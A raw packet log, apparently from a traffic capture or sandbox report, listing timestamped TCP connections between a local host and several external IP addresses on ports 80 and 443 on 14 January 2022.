Jan 14, 2022 09:25:02.577874899 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.577914953 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.577927113 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.577964067 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.578001976 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.578003883 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.578042030 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.578079939 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.578080893 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.578119993 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.578156948 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.578159094 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.578200102 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.578237057 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.578238964 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.578275919 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.578316927 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.578316927 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.578356028 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.578392982 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.578394890 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.578432083 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.578469038 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.578470945 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.578511000 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.578548908 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.578551054 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.578589916 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.578627110 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.578629017 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.578680038 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.578716993 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.578721046 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.578754902 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.578792095 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.578793049 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.578833103 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.578871012 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.578871965 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.578910112 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.578947067 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.578949928 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.578984976 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.579021931 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.596436024 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.596493959 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.596532106 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.596548080 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.596570969 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.596612930 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.596618891 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.596663952 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.596704006 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.596704960 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.596746922 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.596785069 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.596786022 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.596824884 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.596863985 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.596863985 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.596901894 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.596939087 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.596940994 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.596981049 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.597028017 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.597028017 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.597064972 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.597137928 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.597193003 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.614516020 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:04.488564014 CET	49781	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:04.508239031 CET	80	49781	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:04.508395910 CET	49781	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:04.508503914 CET	49781	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:04.510838032 CET	49781	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:04.528614998 CET	80	49781	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:04.528657913 CET	80	49781	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:04.632689953 CET	80	49781	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:04.632780075 CET	49781	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:04.633054018 CET	49781	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:04.650307894 CET	80	49781	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:04.958679914 CET	49782	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:04.975874901 CET	80	49782	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:04.975984097 CET	49782	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:04.976115942 CET	49782	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:04.976145029 CET	49782	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:04.993311882 CET	80	49782	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:04.993333101 CET	80	49782	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:05.097198963 CET	80	49782	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:05.097357988 CET	49782	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:05.097538948 CET	49782	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:05.116276026 CET	80	49782	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:05.425071955 CET	49783	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:05.442488909 CET	80	49783	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:05.442589998 CET	49783	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:05.442692995 CET	49783	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:05.442718983 CET	49783	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:05.460784912 CET	80	49783	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:05.561469078 CET	80	49783	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:05.561500072 CET	80	49783	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:05.561568975 CET	49783	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:05.561937094 CET	49783	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:05.579624891 CET	80	49783	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:05.582878113 CET	49784	443	192.168.2.4	185.233.81.115
Jan 14, 2022 09:25:05.582921982 CET	443	49784	185.233.81.115	192.168.2.4
Jan 14, 2022 09:25:05.583019972 CET	49784	443	192.168.2.4	185.233.81.115
Jan 14, 2022 09:25:05.583859921 CET	49784	443	192.168.2.4	185.233.81.115
Jan 14, 2022 09:25:05.583878040 CET	443	49784	185.233.81.115	192.168.2.4
Jan 14, 2022 09:25:05.653453112 CET	443	49784	185.233.81.115	192.168.2.4
Jan 14, 2022 09:25:05.653548002 CET	49784	443	192.168.2.4	185.233.81.115
Jan 14, 2022 09:25:05.655442953 CET	49784	443	192.168.2.4	185.233.81.115
Jan 14, 2022 09:25:05.655453920 CET	443	49784	185.233.81.115	192.168.2.4
Jan 14, 2022 09:25:05.655721903 CET	443	49784	185.233.81.115	192.168.2.4
Jan 14, 2022 09:25:05.671004057 CET	49784	443	192.168.2.4	185.233.81.115
Jan 14, 2022 09:25:05.690087080 CET	443	49784	185.233.81.115	192.168.2.4
Jan 14, 2022 09:25:05.690151930 CET	443	49784	185.233.81.115	192.168.2.4
Jan 14, 2022 09:25:05.690210104 CET	49784	443	192.168.2.4	185.233.81.115
Jan 14, 2022 09:25:05.690447092 CET	49784	443	192.168.2.4	185.233.81.115
Jan 14, 2022 09:25:05.690468073 CET	443	49784	185.233.81.115	192.168.2.4
Jan 14, 2022 09:25:05.764440060 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:05.781936884 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:05.782040119 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:05.782151937 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:05.782196045 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:05.799417973 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:05.901839018 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:05.902816057 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:05.902865887 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:05.920481920 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:06.229598045 CET	49786	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:06.246901035 CET	80	49786	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:06.247037888 CET	49786	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:06.247112989 CET	49786	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:06.247122049 CET	49786	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:06.264358997 CET	80	49786	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:06.366877079 CET	80	49786	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:06.366910934 CET	80	49786	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:06.367012024 CET	49786	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:06.367173910 CET	49786	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:06.384366989 CET	80	49786	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:06.479404926 CET	49787	80	192.168.2.4	54.38.220.85
Jan 14, 2022 09:25:06.498941898 CET	80	49787	54.38.220.85	192.168.2.4
Jan 14, 2022 09:25:06.499119043 CET	49787	80	192.168.2.4	54.38.220.85
Jan 14, 2022 09:25:06.499185085 CET	49787	80	192.168.2.4	54.38.220.85
Jan 14, 2022 09:25:06.518757105 CET	80	49787	54.38.220.85	192.168.2.4
Jan 14, 2022 09:25:06.518799067 CET	80	49787	54.38.220.85	192.168.2.4
Jan 14, 2022 09:25:06.563920975 CET	49787	80	192.168.2.4	54.38.220.85
Jan 14, 2022 09:25:06.826014996 CET	49788	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:06.843385935 CET	80	49788	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:06.843592882 CET	49788	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:06.843969107 CET	49788	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:06.844022989 CET	49788	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:06.861402988 CET	80	49788	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:06.861452103 CET	80	49788	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:06.959076881 CET	80	49788	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:06.959114075 CET	80	49788	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:06.959217072 CET	49788	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:06.959352016 CET	49788	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:06.976627111 CET	80	49788	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:07.292262077 CET	49789	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:07.309511900 CET	80	49789	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:07.309597015 CET	49789	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:07.309701920 CET	49789	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:07.309722900 CET	49789	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:07.326878071 CET	80	49789	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:07.431145906 CET	80	49789	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:07.431237936 CET	49789	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:07.431291103 CET	49789	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:07.448506117 CET	80	49789	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:07.461318016 CET	49790	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:07.478749037 CET	80	49790	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:07.478883982 CET	49790	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:07.478952885 CET	49790	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:07.478961945 CET	49790	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:07.496303082 CET	80	49790	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:07.496331930 CET	80	49790	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:07.596319914 CET	80	49790	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:07.596406937 CET	49790	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:07.596596003 CET	49790	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:07.613830090 CET	80	49790	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:07.627908945 CET	49791	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:07.645328999 CET	80	49791	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:07.645437002 CET	49791	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:07.645505905 CET	49791	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:07.645518064 CET	49791	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:07.662847996 CET	80	49791	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:07.767213106 CET	80	49791	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:07.770452976 CET	49791	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:07.771292925 CET	49791	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:07.788597107 CET	80	49791	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.100344896 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.117880106 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.117980957 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.118109941 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.177105904 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.220992088 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.221133947 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.221175909 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.221218109 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.221219063 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.221287966 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.221291065 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.221332073 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.221400023 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.221405029 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.221441984 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.221481085 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.221494913 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.221520901 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.221632957 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.239042997 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.260607004 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.260653019 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.260694027 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.260713100 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.260731936 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.260761023 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.260771990 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.260812044 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.260818005 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.260849953 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.260890961 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.260910034 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.260930061 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.260970116 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.260977983 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.261010885 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.261049032 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.261087894 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.261102915 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.261128902 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.261169910 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.261178970 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.261209011 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.261248112 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.261257887 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.261288881 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.261329889 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.261344910 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.263209105 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.278709888 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.278769016 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.278808117 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.278846979 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.300324917 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.300368071 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.300395966 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.300407887 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.300450087 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.300481081 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.300488949 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.300529957 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.300540924 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.300570965 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.300609112 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.300648928 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.300668955 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.300688982 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.300704002 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.300729990 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.300771952 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.300795078 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.300808907 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.300848961 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.300854921 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.300887108 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.300924063 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.300964117 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.300983906 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.301002026 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.301043034 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.301060915 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.301084995 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.301124096 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.301141977 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.301166058 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.301206112 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.301229954 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.301243067 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.301249027 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.301282883 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.301322937 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.301362038 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.301383972 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.301404953 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.301404953 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.301443100 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.301482916 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.301496983 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.301522017 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.301559925 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.301569939 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.301600933 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.301639080 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.301666021 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.301680088 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.301721096 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.301738024 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.301759005 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.301799059 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.301812887 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.301839113 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.301902056 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.319214106 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.319258928 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.319300890 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.319339991 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.319385052 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.319417000 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.339967012 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.340007067 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.340048075 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.340090036 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.340122938 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.340127945 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.340161085 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.340168953 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.340209007 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.340265036 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.340306044 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.340306044 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.340348005 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.340388060 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.340388060 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.340399981 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.340429068 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.340468884 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.340482950 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.340507984 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.340548992 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.340588093 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.340603113 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.340626955 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.340637922 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.340667009 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.340708017 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.340715885 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.340748072 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.340785027 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.340801954 CET	49792	80	192.168.2.4	8.209.70.0
